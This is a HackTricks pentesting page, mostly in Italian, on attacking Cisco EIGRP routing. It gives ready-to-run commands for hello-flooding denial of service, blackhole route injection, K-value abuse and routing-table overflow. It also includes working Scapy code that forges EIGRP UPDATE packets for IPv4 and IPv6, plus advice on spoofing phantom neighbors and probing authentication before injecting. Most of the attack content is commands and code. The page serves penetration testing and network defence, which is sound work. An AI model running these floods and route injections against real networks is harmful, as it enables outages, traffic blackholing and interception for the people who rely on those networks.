EIGRP Attacks
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Questa è una sintesi degli attacchi descritti in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Controlla lì per ulteriori informazioni.
Fake EIGRP Neighbors Attack
- Objective: Sovraccaricare le CPU dei router inviando un flusso di pacchetti HELLO EIGRP, potenzialmente causando un Denial of Service (DoS).
- Tool: helloflooding.py script.
- Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- Parameters:
--interface: Specifica l’interfaccia di rete, es.eth0.--as: Definisce il numero dell’autonomous system EIGRP, es.1.--subnet: Imposta la subnet di destinazione, es.10.10.100.0/24.
EIGRP Blackhole Attack
- Objective: Interrompere il flusso del traffico di rete iniettando una route falsa, creando un blackhole dove il traffico viene diretto verso una destinazione inesistente.
- Tool: routeinject.py script.
- Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- Parameters:
--interface: Specifica l’interfaccia del sistema dell’attaccante.--as: Definisce il numero AS EIGRP.--src: Imposta l’indirizzo IP dell’attaccante.--dst: Imposta l’IP della subnet target.--prefix: Definisce la mask dell’IP della subnet target.
Abusing K-Values Attack
- Objective: Creare interruzioni e riconnessioni continue all’interno del dominio EIGRP iniettando K-values alterati, provocando di fatto un attacco DoS.
- Tool: relationshipnightmare.py script.
- Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- Parameters:
--interface: Specifica l’interfaccia di rete.--as: Definisce il numero AS EIGRP.--src: Imposta l’indirizzo IP di un router legittimo.
Routing Table Overflow Attack
- Objective: Stressare CPU e RAM del router riempiendo la routing table con numerose route false.
- Tool: routingtableoverflow.py script.
- Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- Parameters:
--interface: Specifica l’interfaccia di rete.--as: Definisce il numero AS EIGRP.--src: Imposta l’indirizzo IP dell’attaccante.
Protocol Notes Useful for Attacks
- HELLO packets carry K-values and neighbors only form when they match. Questa è la base per gli attacchi di mismatch dei K-value/interrupt della relazione e spiega perché K-values non corrispondenti impediscono l’adjacency.
- The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, quindi capture passive rivelano i valori esatti usati sul segmento.
- EIGRP uses IP protocol 88, multicasting a 224.0.0.10 in IPv4 e FF02::A in IPv6. Questo lo rende facile da individuare con
tcpdump 'ip proto 88 or ip6 proto 88'prima di tentare abusi attivi. - Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. La blind multicast route injection può funzionare in lab deboli, ma quando emuli un neighbor reale spesso devi tracciare
seq,acke la peer list contenuta nei SEQUENCE TLV per restare sincronizzato con la logica RTP.
Passive Recon Before Injection
Prima di provare a iniettare route, cattura uno scambio HELLO / UPDATE legittimo ed estrai:
- AS number
- K-values and Hold Time dal PARAMETER TLV
- Authentication in use: nessuna, MD5, o HMAC-SHA-256
- Neighbor source address e la subnet/interfaccia dove EIGRP è attivo
- Software / TLV profile (
SOFTWARE_VERSION,STUB,SEQUENCE) in modo che i tuoi pacchetti costruiti risultino simili a quelli dei router locali
Comandi utili:
# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'
# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery
# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100
Il broadcast-eigrp-discovery di Nmap funziona inviando un HELLO a 224.0.0.10 e analizzando i pacchetti UPDATE restituiti, cosa utile per enumerare i prefissi prima di tentare una route injection più intrusiva.
Scapy Packet Crafting (Route Injection / Fake Neighbors)
Scapy include un layer contrib EIGRP con TLV come EIGRPParam e EIGRPIntRoute, sufficiente per creare UPDATE per route injection. Esempio adattato dallo script di EIGRP route injection davidbombal/scapy:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
Lo stesso repo include script veloci “fake neighbor” che fanno sniffing di un pacchetto EIGRP reale e lo replayano con un source IP spoofed per creare phantom neighbors (utile per CPU/neighbor-table pressure).
Scapy espone anche primitive che sono utili quando serve un’emulazione ad alta fedeltà invece di un singolo UPDATE:
EIGRPAuthDataper adjacenze autenticateEIGRPSeqper la gestione di sequence / conditional-receiveEIGRPStubper replicare il comportamento di stub osservatoEIGRPv6IntRoute/EIGRPv6ExtRouteper l’iniezione di route IPv6
Questo è importante perché la logica del trasporto affidabile spesso è ciò che separa un PoC usa-e-getta da un fake neighbor che sopravvive abbastanza a lungo da apprendere le route e poisonare la topologia.
EIGRP for IPv6
EIGRP for IPv6 è una address-family separata trasportata su IPv6. Usa ancora il formato pacchetto EIGRP / TLVs, ma viene abilitata direttamente sulle interfacce e multicast a FF02::A. Dal punto di vista offensivo, ciò significa che un segmento dual-stack può esporre un EIGRP attack surface anche quando il lato IPv4 sembra pulito.
Differenze importanti:
- IPv6 EIGRP è abilitato per interfaccia (
ipv6 eigrp <as>), non tramitenetworkstatements in stile IPv4. - È ancora richiesto un router ID, quindi lo sniffing di un segmento attivo solitamente rivela abbastanza contesto per mimare un peer valido.
- L’autenticazione MD5 è disponibile per EIGRP for IPv6, e le moderne implementazioni in named mode possono anche usare HMAC-SHA-256, che blocca l’iniezione di route non autenticata.
Esempio minimo Scapy per l’iniezione di route IPv6:
from scapy.all import *
load_contrib("eigrp")
send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")
Se il next hop IPv6 all’interno del route TLV è azzerato, i ricevitori ricorrono all’indirizzo IPv6 sorgente nell’intestazione del pacchetto. Questo rende lo source spoofing e l’uso corretto degli indirizzi link-local particolarmente importanti durante i test su EIGRPv6.
- Documentazione Scapy EIGRP contrib: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- Script di esempio: https://github.com/davidbombal/scapy
Routopsy & NSE Helpers
- Routopsy crea un laboratorio di attacco con router virtuali (FRRouting + Scapy) e include attacchi DRP che puoi adattare per i test su EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- Nmap’s NSE dispone di una piccola libreria
eigrpper il parsing/generazione di un sottoinsieme di pacchetti EIGRP. https://nmap.org/nsedoc/lib/eigrp.html
Authentication Recon
- La modalità named di EIGRP supporta HMAC-SHA-256 authentication tramite
authentication mode hmac-sha-256 .... Se abilitata, i pacchetti costruiti devono essere autenticati con la chiave corretta; se non è abilitata, lo spoofing/l’iniezione è più facile da verificare. - RFC 7868 definisce anche sia i dati di autenticazione MD5 che SHA2-256 all’interno dell’EIGRP AUTH TLV, ed è per questo che le catture passive ti dicono rapidamente se uno spoofing “alla cieca” è realistico o se prima hai bisogno del materiale chiave.
- Su EIGRP per IPv6, Cisco supporta anche MD5 authentication with key chains. Se sono configurate più chiavi con send/accept lifetimes, il replay di traffico autenticato obsoleto diventa meno affidabile perché la chiave attiva può ruotare senza cambiare il resto del profilo di adiacenza.
References
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
- https://nmap.org/nsedoc/scripts/broadcast-eigrp-discovery.html
- https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


